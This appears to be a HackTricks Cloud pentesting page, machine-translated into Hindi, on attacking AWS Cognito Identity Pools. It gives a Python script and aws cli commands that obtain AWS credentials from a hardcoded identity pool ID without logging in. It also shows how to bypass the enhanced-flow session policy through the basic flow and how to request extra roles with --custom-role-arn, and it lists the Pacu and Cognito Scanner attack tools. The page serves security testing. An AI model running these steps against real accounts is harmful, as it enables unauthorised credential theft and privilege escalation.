Cognito Identity Pools

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और ट्विटर 🐦 @hacktricks_live** पर हमें फॉलो करें।

• हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github रेपो में PR जमा करके।

मौलिक जानकारी

पहचान पूल एक महत्वपूर्ण भूमिका निभाते हैं जिसके द्वारा आपके उपयोगकर्ताओं को अस्थायी प्रमाणपत्र प्राप्त करने की सुविधा प्रदान की जाती है। ये प्रमाणपत्र Amazon S3 और DynamoDB जैसी विभिन्न AWS सेवाओं तक पहुँचने के लिए आवश्यक हैं। पहचान पूल की एक महत्वपूर्ण विशेषता यह है कि इसमें अनाम अतिथि उपयोगकर्ता और उपयोगकर्ता प्रमाणीकरण के लिए कई पहचान प्रदाताओं का समर्थन है। समर्थित पहचान प्रदाताओं में शामिल हैं:

• अमेज़न कोग्निटो उपयोगकर्ता पूल

• फेसबुक, गूगल, अमेज़न लॉगिन और एप्पल साथ में साइन इन जैसे सोशल साइन-इन विकल्प

• OpenID Connect (OIDC) के अनुपालन करने वाले प्रदाताएँ

• SAML (सुरक्षा दावा चिह्नित भाषा) पहचान प्रदाताएँ

• डेवलपर प्रमाणीकृत पहचानें

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

कोग्निटो सिंक

आईडेंटिटी पूल सत्रों को उत्पन्न करने के लिए, आपको पहले आईडेंटिटी आईडी उत्पन्न करनी होगी। यह आईडेंटिटी आईडी उस उपयोगकर्ता के सत्र की पहचान है। ये पहचान 20 डेटासेट्स तक हो सकती है जिनमें 1MB तक कुंज-मूल्य जोड़े जा सकते हैं।

यह उपयोगी है ताकि उपयोगकर्ता की जानकारी को संभाला जा सके (जो हमेशा एक ही आईडेंटिटी आईडी का उपयोग करेगा)।

इसके अतिरिक्त, सेवा कोग्निटो-सिंक वह सेवा है जो इस जानकारी को प्रबंधित और समकालिक करने की अनुमति देती है (डेटासेट्स में, स्ट्रीम्स में जानकारी भेजने और एसएनएस्स मैसेज में...)।

पेंटेस्टिंग के लिए उपकरण

• Pacu, एडब्ल्यूएस शोषण ढांचा, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो खाते में सभी कोग्निटो संपत्तियों की जाँच को स्वचालित करते हैं और कमजोर विन्यास, पहुंच नियंत्रण के लिए उपयोग किए जाने वाले उपयोगकर्ता गुण, आदि को ध्वजित करते हैं, और उपयोगकर्ता निर्माण (एमएफए समर्थन सहित) और संशोधन उच्चता स्वचालित करते हैं जो संशोधन योग्य अनुकूल गुण, उपयोगी पूल क्रेडेंशियल्स, आईडी टोकन्स में अस्वीकार्य भूमिकाएँ, आदि पर आधारित है।

मॉड्यूल के कार्यों का विवरण देखने के लिए ब्लॉग पोस्ट का भाग 2 देखें। स्थापना निर्देशों के लिए मुख्य Pacu पेज देखें।

उपयोग

उपयोगकर्ता निर्माण का प्रयास करने और एक दिये गए आईडेंटिटी पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेसेक वेक्टर्स के खिलाफ cognito__attack उपयोग का नमूना:

Pacu (new:test) > run cognito__attack --username randomuser --email [e-mail] --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

वर्तमान AWS खाते में दिखाई देने वाले सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि इकट्ठा करने के लिए नमूना cognito__enum उपयोग:

Pacu (new:test) > run cognito__enum

• Cognito Scanner एक CLI टूल है जो पायथन में है और जो Cognito पर विभिन्न हमले को लागू करता है, जिसमें अवांछित खाता निर्माण और पहचान पूल उन्नति शामिल है।

स्थापना

$ pip install cognito-scanner

उपयोग

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

आईएएम रोल्स तक पहुंचना

अअधिकृत

किसी हमलावर को एक Cognito ऍप में एडब्ल्यूएस प्रमाणपत्र प्राप्त करने के लिए जो केवल एक अअधिकृत उपयोगकर्ता के रूप में आईडेंटिटी पूल आईडी को जानने की आवश्यकता है, और यह आईडी इसे उपयोग करने के लिए वेब/मोबाइल ऍप्लिकेशन में हार्डकोड होनी चाहिए। एक आईडी इस तरह दिखती है: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (इसे ब्रूटफोर्स नहीं किया जा सकता है)।

आईएएम Cognito अअधिकृत रोल जिसे डिफ़ॉल्ट रूप से बुलाया जाता है, उसका नाम होता है Cognito_<आईडेंटिटी पूल नाम>Unauth_Role

अगर आपको किसी आईडेंटिटी पूल आईडी का हार्डकोड मिलता है और यह अअधिकृत उपयोगकर्ताओं को अनुमति देता है, तो आप निम्नलिखित के साथ एडब्ल्यूएस प्रमाणपत्र प्राप्त कर सकते हैं:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

या आप निम्नलिखित aws cli कमांड का उपयोग कर सकते हैं:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत कोग्निटो उपयोगकर्ता किसी भी अनुमति नहीं रख सकता, भले ही यह नीति के माध्यम से निर्धारित की गई हो। निम्नलिखित खंड की जाँच करें।

Enhanced vs Basic Authentication flow

पिछले खंड में डिफ़ॉल्ट एन्हांस्ड प्रमाणीकरण फ़्लो का पालन किया गया था। यह फ़्लो एक प्रतिबंधक सत्र नीति को आईएएम रोल सत्र जिनरेट किया गया। यह नीति केवल इस सत्र को इस सूची से सेवाओं का उपयोग करने की अनुमति देगी (भले ही रोल को अन्य सेवाओं तक पहुंच हो).

हालांकि, इसे छलने का एक तरीका है, अगर आईडेंटिटी पूल में "बेसिक (क्लासिक) फ़्लो" सक्षम है, तो उपयोगकर्ता उस फ़्लो का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें उस प्रतिबंधक सत्र नीति नहीं होगी।

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

यदि आपको यह त्रुटि मिलती है, तो यह इसलिए है कि मूल फ्लो एनेबल नहीं है (डिफ़ॉल्ट)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM क्रेडेंशियल्स के सेट होने पर आपको जांचना चाहिए कि आपके पास कौनसा एक्सेस है और विशेषाधिकारों को बढ़ाने का प्रयास करें।

प्रमाणित

ध्यान रखें कि प्रमाणित उपयोगकर्ताओं को संभावित रूप से विभिन्न अनुमतियाँ प्रदान की जाएंगी, इसलिए यदि आप ऐप्लिकेशन के अंदर साइन अप कर सकते हैं, तो उसे करने का प्रयास करें और नए क्रेडेंशियल्स प्राप्त करें।

यहाँ प्रमाणित उपयोगकर्ताओं के लिए उपलब्ध भूमिकाएँ भी हो सकती हैं जो आईडेंटिटी पूल तक पहुंचने वाले प्रमाणित उपयोगकर्ताओं के लिए उपलब्ध हों।

इसके लिए आपको आईडेंटिटी प्रदाता तक पहुंच होनी चाहिए। यदि वह एक कोग्निटो उपयोगकर्ता पूल है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग करके नया उपयोगकर्ता खुद बना सकते हैं।

आईएएम कोग्निटो प्रमाणित भूमिका जो आईडेंटिटी पूल के माध्यम से बनाई गई है, उसका डिफ़ॉल्ट नाम है Cognito_<आईडेंटिटी पूल नाम>Auth_Role

वैसे, निम्नलिखित उदाहरण की उम्मीद है कि आप पहले से ही एक कोग्निटो उपयोगकर्ता पूल में लॉग इन कर चुके हैं जिसका उपयोग आईडेंटिटी पूल तक पहुंचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के आईडेंटिटी प्रदाताओं को भी कॉन्फ़िगर किया जा सकता है)।

aws cognito-identity get-id \
--identity-pool-id <आईडेंटिटी_पूल_आईडी> \
--logins cognito-idp.<क्षेत्र>.amazonaws.com/<आपका_उपयोगकर्ता_पूल_आईडी>=<आईडी_टोकन>

# पिछले कमांड के प्रतिक्रिया से identity_id प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id <आईडेंटिटी_आईडी> \
--logins cognito-idp.<क्षेत्र>.amazonaws.com/<आपका_उपयोगकर्ता_पूल_आईडी>=<आईडी_टोकन>


# IdToken में उपयोगकर्ता के पास एक्सेस किसी भी भूमिकाओं को प्राप्त करने के लिए हो सकता है क्योंकि उपयोगकर्ता पूल समूहों के कारण
# --custom-role-arn का उपयोग करके विशेष भूमिका के लिए क्रेडेंशियल प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id <आईडेंटिटी_आईडी> \
    --custom-role-arn <भूमिका_आर्न> \
    --logins cognito-idp.<क्षेत्र>.amazonaws.com/<आपका_उपयोगकर्ता_पूल_आईडी>=<आईडी_टोकन>

यह संभावना है कि आईडेंटिटी प्रदाता पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जा सकती हैं जिस प्रयोक्ता को लॉग इन किया जा रहा है या फिर केवल उपयोक्ता के आधार पर (दावों का उपयोग करके)। इसलिए, यदि आपके पास एक ही या अलग-अलग प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुंच है, तो सभी का आईएएम भूमिकाओं तक लॉग इन करने और पहुंचने का प्रयास करना लायक हो सकता है।

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएँ की जांच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फ़ॉलो** करें।

• हैकिंग ट्रिक्स साझा करें PRs के माध्यम से HackTricks और HackTricks Cloud github रेपो में।